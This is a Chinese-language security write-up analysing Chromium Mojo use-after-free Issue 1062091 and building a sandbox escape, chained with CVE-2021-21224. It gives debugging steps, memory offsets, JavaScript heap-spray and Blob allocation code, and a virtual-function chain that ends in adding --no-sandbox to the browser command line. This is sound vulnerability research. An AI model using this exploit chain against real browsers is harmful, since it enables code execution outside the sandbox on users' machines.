作者:天玄安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/tGwCwOQ8eAwm26fHXTCy5A
漏洞說明
Issue-1062091為chrom中存在的一個UAF漏洞,此漏洞存在于chromium的Mojo框架中,利用此漏洞可以導致chrome與基于chromium的瀏覽器沙箱逃逸。這個漏洞是在Chrome 81.0.4041.0的提交中引入的。在幾周后,這個提交中的漏洞恰好移動到了實驗版本命令行標志的后面。但是,這個更改位于Chrome 82.0.4065.0版本中,因此該漏洞在Chrome穩定版本81的所有桌面平臺上都是可以利用的。
環境配置
一開始打算像調試v8漏洞那樣嘗試用fetch拉取代碼編譯帶有漏洞的chromium,但是發現chromium源碼下載太慢且太大,故直接下載編譯好的chromium,地址:vikyd.github.io

下載時除了chromium本體以外還需要將其pdb符號也一起下載

下載好后直接將pdb符號文件與exe執行文件解壓放在一起即可

最后用windbg驗證是否可以正常查找函數
注:下載以上內容都需要代理
漏洞分析
POC
由于poc目錄結構比較復雜,直接給出完整poc下載地址(需要代理):bugs.chromium.org下載解壓后可以得到兩個html文件,其中trigger.html為我們需要的poc

然后嘗試觸發漏洞,根據說明得知chrome默認不會啟用mojo,想要啟用有兩種方法: 一、在命令行啟動chromium時加上--enable-blink-features=MojoJS,MojoJSTest參數。二、利用另一個漏洞去改寫當前Frame對象內部的一個變量content::RenderFrameImpl::enabled_bindings_讓Frame擁有調用MojoJS的能力,通過以下路徑可以得到該變量:
chrome.dll base => g_frame_map => RenderFrameImpl(main frame) => RenderFrameImpl.enabled_bindings_
關于改寫變量部分具體可查看SCTF202中的0x02 exploit部分,在實際利用漏洞進行攻擊時肯定采用第二種方式,而此時僅需要分析利用Issue 1062091漏洞即可,所以先不去過分關心mojo開啟的問題,直接采用第一種方法開啟mojo。使用windbg進行調試

在調試開始前由于當前工作目錄的問題需要將poc代碼中以下兩處路徑進行一些改動

然后用.childdbg 1開啟子進程調試

之后經過幾個ntdll!LdrpDoDebuggerBreak后就會觸發crash

漏洞分析
通過觀察異常信息可判斷此處并非漏洞觸發的第一現場,使用gflags.exe開啟頁堆(+hpa)與堆棧跟蹤(+ust)并在啟動chrome時添加--no-sandbox參數進行調試分析會發現崩潰點會轉移到前一句代碼

再結合代碼可以判斷發生崩潰的地方是在獲取render_frame_host_對象虛表

使用!address查看該render_frame_host_對象內存信息會發現該內存已被釋放

通過觀察發現render_frame_host_對象在InstalledAppProviderImpl對象在構造時被初始化

對content::InstalledAppProviderImpl::Create函數下斷,當執行到以下內容時將會創建InstalledAppProviderImpl對象

而render_frame_host_保存在InstalledAppProviderImpl對象0x8偏移處

再結合poc可以確定InstalledAppProviderImpl對象是在sub frame調用bindInterface進行接口綁定時創建的

在之后的poc執行中,父幀會通過MojoInterfaceInterceptor攔截并獲取子幀的句柄

獲取后便會調用body.removeChild刪除子幀

最后會通過filterInstalledApps函數去調用已經被釋放的render_frame_host_對象的虛函數

總結poc的執行順序大致為:
- 通過window.location.hash判斷是否是子幀
- 如果是子幀就去執行Mojo.bindInterface
- 如果是父幀就去創建子幀并用MojoInterfaceInterceptor攔截子幀的Mojo.bindInterface到并將其句柄傳遞給父幀
- 釋放子幀
- 使用filterInstalledApps去調用已經被釋放但卻依然還留有懸掛指針的render_frame_host_虛函數
漏洞利用
開啟Mojo
上文中提到過chrome默認不能直接調用mojo,所以此處使用cve 2021-21224來配合開啟mojo。通過分析可知mojoJS的開啟與關閉主要由RenderFrameImpl類成員變量enabled_bindings_與IsMainFrame函數來決定

IsMainFrame函數的邏輯很簡單就只是將一個類成員變量返回

而通過調試也可知當enabled_bindings_ & 2不為0時即可滿足條件

也就是說此時只需要將enabled_bindings_修改為2,再將is_main_frame_修改為1即可滿足條件開啟mojo。而在一個頁面中可能會存在多個frame,而這些frame所對應的RenderFrameImpl對象都存儲在一個全局變量g_frame_map中

要查找到全局變量g_frame_map,就需要先獲取到chrome.dll的基址,利用21224構造的地址泄露函數與讀寫原語,泄露window對象地址,再從window對象中獲取到一個位于chrome.dll模塊中的地址,再用該地址減去一定的偏移來得到chrome.dll模塊基址,除此以外還可以用特征碼查找的方式,這種方式兼容性會更好,但在我的環境下讀寫原語在進行頻繁的讀寫操作時會產生異常發生崩潰,具體原因暫時未知,所以姑且使用減去固定偏移獲取基址的辦法。

之后由于無法直接通過g_frame_map符號在windbg中使用x來查找其地址,那就通過查找調用過該全局變量的函數來查找

之后在windbg中查找RenderFrame::ForEach并查看其匯編代碼獲取到g_frame_map地址為00007ffe`3d927888,用此值減去chrome基址得到偏移為0x7627888,只要使用chrome基址加0x7627888即可得到g_frame_map地址

g_frame_map變量8-16偏移處存放著一個鏈式結構,當只有一個frame時

創建sub frame后

而其對應的RenderFrameImpl對象保存在紅線劃出內存地址的0x28偏移處

再通過觀察content::RenderFrameImpl::DidCreateScriptContext函數來獲取相關變量在對象中的偏移,enabled_bindings_偏移為0x560

IsMainFrame函數中用到的have_context_變量偏移為0x88

將g_frame_map中保存的所有RenderFrameImpl對象相應偏移修改為對應的值即可。但要注意的是在我的漏洞環境( 81.0.4044.0)中,在獲取成員變量enabled_bindings_時需要將g_frame_map中拿到的RenderFrameImpl對象地址加0x68再加enabled_bindings_所在偏移,而IsMainFrame中用到的成員變量就在g_frame_map中拿到的RenderFrameImpl對象的0x88偏移處。

內存回收
對于uaf漏洞利用的第一步肯定是將此內存進行回收,而進行內存回收的前提就是先需要知道被釋放的render_frame_host_占多大內存,通過前面的調試分析得知render_frame_host_為RenderFrameHostImpl類實例,所以可以先對RenderFrameHostImpl構造函數下斷,而實例大小從構造函數是看不出來的,但可以從調用該實例構造函數的函數中看到。通過kb棧回溯查看調用RenderFrameHostImpl構造函數的函數為RenderFrameHostFactory::Create

通過查看該函數可知render_frame_host_對象大小為0xC38字節
在知道了要回收的內存大小后就可以通過創建一系列的Blob來回收該內存
var spray_buff = new ArrayBuffer(0xC38);
var spray_view = new DataView(spray_buff);
for(var i = 0; i < spray_buff.byteLength; i++)
spray_view.setInt8(i, 0x41, true);
//釋放子幀
for(var i = 0; i < 0xA; i++)
spray_arr[i] = new Blob([spray_buff]);
但此方法穩定性不足,不能保證能成功進行內存回收,更好的辦法是采用已經被封裝好的函數
function getAllocationConstructor() {
let blob_registry_ptr =
new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(
blob_registry_ptr)
.handle, "process", true);
function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient,
new ProgressClientImpl(),
progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({
elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream(
"", "", size, this.pipe.consumer,
this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await sleep(1000);
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({
elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(
offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this
.readpipe
.consumer
.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation =
new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
//.....
let allocate = getAllocationConstructor();
function spray(data) {
return Promise
.all(Array(0x8)
.fill()
.map(() => allocate(data)));
}
// 釋放
let ptr = await getFreedPtr();
// 回收
let sa = await spray(spray_buff);
// 觸發漏洞
避免崩潰
堆地址泄露
此時由于原本存放render_frame_host_對象的內存現在被blob所占用,所以當調用render_frame_host_對象虛函數GetProcess時就會去調用spray_buff中的元素值+0x48處,而spray_buff對應位置值為0x4141414141414141所以此時依然會觸發崩潰

所以此時需要填入相應的函數地址,保證在執行GetProcess與GetBrowserContest兩個虛函數時不會發生崩潰,并在執行IsOffTheRecord時能夠泄露堆地址。通過查找可以首先找到一個符合條件的函數ChromeMainDelegate::CreateContentClient,此函數會將this+8處地址返回給調用者,可以將此函數地址填入堆噴占位的數據中,在調用GetProcess與GetBrowserContext虛函數時就回去調用此函數。

再查找到ChromeMainDelegate類虛表

查看虛表得知ChromeMainDelegate::CreateContentClient函數地址存放在起虛表的0x70偏移處。

而InstalledAppProviderImpl::FilterInstalledApps在調用虛函數GetProcess時會從內存中獲取一個地址將其加0x48并在此處獲取一個函數去執行,所以可以將ChromeMainDelegate虛表地址+(0x70-0x48)填入堆噴數據中,當InstalledAppProviderImpl::FilterInstalledApps去調用GetProcess時就會轉入ChromeMainDelegate::CreateContentClient函數

在ChromeMainDelegate::CreateContentClient函數執行后會將堆噴數據地址+8偏移處的地址讀出并再讀出該地址0xD0偏移處的地址并調用,此處對應GetBrowserContext虛函數調用。于是可以將ChromeMainDelegate虛表地址-(0xD0-0x70)填入堆噴數據中當GetBrowserContext被調用時會再次轉入ChromeMainDelegate::CreateContentClient函數

最后在調用虛函數IsOffTheRecord時需要找到一個可以泄露堆地址的函數填入相應位置,通過查找找到符合條件的虛函數content::WebContentsImpl::GetWakeLockContext,由于此函數還會將this指針填入堆地址+0x8偏移處,所以也可以為后續的this地址泄露提供方便。

此函數會創建一塊內存用作對象內存,并會將此內存地址寫入this+0x10+0x650偏移處,也就是堆噴占位數據的0x660偏移處

但要注意的是content::WebContentsImpl::GetWakeLockContext函數會先去判斷this+0x10+0x650偏移處是否為0,如果為0才可以進行創建堆內存并寫入this+0x10+0x650的操作

通過以上操作,在經過render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()后就可以在堆噴占位數據的0x660偏移處得到一個需要的堆地址
this地址泄露
由于在上一步操作中已經泄露了堆地址并且還將this指針寫入了堆地址+0x8偏移處,所以可以利用前面泄露堆地址的思路將UAF漏洞再觸發一次,并把之前拿到的泄露的堆地址寫入堆噴占位數據的對應偏移處即可獲取到this指針,由于前面的漏洞利用this指針正好指向我們可控的堆噴占位數據,拿到了this地址也就得到了當前可控數據的地址。繼續將ChromeMainDelegate::CreateContentClient函數放入GetProcess與GetBrowserContext函數對應的調用位置,現在只需要再找到一個符合條件可以將this指針從堆地址中獲取到的函數,通過查找找到anonymous namespace'::DictionaryIterator::Start函數正好符合要求。

結合調試再通過與泄露堆地址一樣再次觸發UAF漏洞便可得到this指針

沙盒逃逸
沙河逃逸的思路比較簡單,通過回調去執行SetCommandLineFlagsForSandboxType函數將--no-sandbox參數添加到current_process_commandline_中。首先需要找到一個可以調用回調函數的虛函數,通過查找找到content::responsiveness::MessageLoopObserver::DidProcessTask函數

現在再找到一個可以傳遞多個參數的回調函數,類似如下形式的

然后將SetCommandLineFlagsForSandboxType函數地址填入被泄露了地址的buffer的相應偏移處就可以將沙箱關閉,但調用SetCommandLineFlagsForSandboxType函數還需要先得到全局變量current_process_commandline_

通過extensions::SizeConstraints::set_minimum_size函數將current_process_commandline_中保存的指針拷貝進前文中已經被泄露地址的可控地址中。

最后調用SetCommandLineFlagsForSandboxType函數,將--no-sandbox(0)標志添加進全局變量current_process_commandline_中

最后生成新的渲染器過程(例如,使用iframe到其他受控原點或開啟新的Tab),并再次使用渲染器漏洞利用(刷新)即可成功。

總結
- 21224漏洞觸發后在觸發1062091前瀏覽器就產生崩潰——手動delete清理掉oob數組
- 在開啟mojo時修改RenderFrameImpl對象相應變量導致頁面崩潰——21224中構造的讀寫原語在循環體中同時頻繁讀寫會導致此問題,去掉部分不必要的讀或寫操作
- 將相應成員變量值寫入對應的RenderFrameImpl對象偏移后mojo依然沒有開啟——在 81.0.4044.0版本chromium中在寫入enabled_bindings_時需要將g_frame_map中拿到的RenderFrameImpl對象地址加0x68再加enabled_bindings_所在偏移,而IsMainFrame中用到的成員變量就在g_frame_map中拿到的RenderFrameImpl對象的0x88偏移處。
- 原POC中用到的MojoInterfaceInterceptor需要開啟MojoJSTest綁定才能使用——使用其他方法傳遞sub frame中的句柄給main frame,例如在sub frame的onload事件中使用contentWindow獲取其句柄再傳遞給main frame,但此方法直接在本地執行時會出現跨域的問題需要起一個服務器去訪問執行。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1876/
暫無評論